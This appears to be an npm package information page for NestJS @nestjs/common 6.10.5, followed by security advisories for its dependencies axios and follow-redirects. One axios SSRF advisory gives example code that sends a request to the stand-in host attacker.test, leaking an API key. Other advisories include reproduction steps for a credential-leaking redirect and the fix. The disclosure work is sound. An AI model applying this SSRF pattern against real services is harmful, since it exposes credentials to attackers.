NestJS @nestjs/common version 6.10.5 represents a minor update over the preceding 6.10.4. Both versions share identical core dependencies: uuid for generating unique identifiers, axios for making HTTP requests, and cli-color for enhancing command-line interface output. They also maintain the same peer dependencies, requiring rxjs and reflect-metadata at specified versions, ensuring compatibility with existing NestJS projects. The licensing and repository details remain constant, attributable to Kamil Mysliwiec, the original author, and the team behind NestJS.
The primary difference lies in the dist section, specifically the unpackedSize. Version 6.10.5 has a slightly larger unpacked size of 293127 bytes compared to 6.10.4's 293124 bytes. While seemingly minor, this suggests small code improvements, bug fixes, or potentially added features within the package. Developers should consider this update when evaluating NestJS versions for their projects. Additionally, the release date for version 6.10.5 is dated December 2nd, 2019, while its prior version 6.10.4 release date is November 30th, 2019. This version isn't a major release and shouldn't have breaking changes. It would be a good practice to read the changelogs to find out the exact differences.
All the vulnerabilities related to the version 6.10.5 of the package
nest allows a remote attacker to execute arbitrary code via the Content-Type header
File Upload vulnerability in nestjs nest prior to v.11.0.16 allows a remote attacker to execute arbitrary code via the Content-Type header.
Axios vulnerable to Server-Side Request Forgery
Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.Exposure of sensitive information in follow-redirects
follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor
Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects
Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.
Follow Redirects improperly handles URLs in the url.parse() function
Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.
follow-redirects' Proxy-Authorization header kept across hosts
When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.
Test code:
const axios = require('axios');
axios.get('http://127.0.0.1:10081/', {
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
})
.then((response) => {
console.log(response);
})
When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.
This vulnerability may lead to credentials leak.
Remove proxy-authentication header during cross-domain redirect
- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);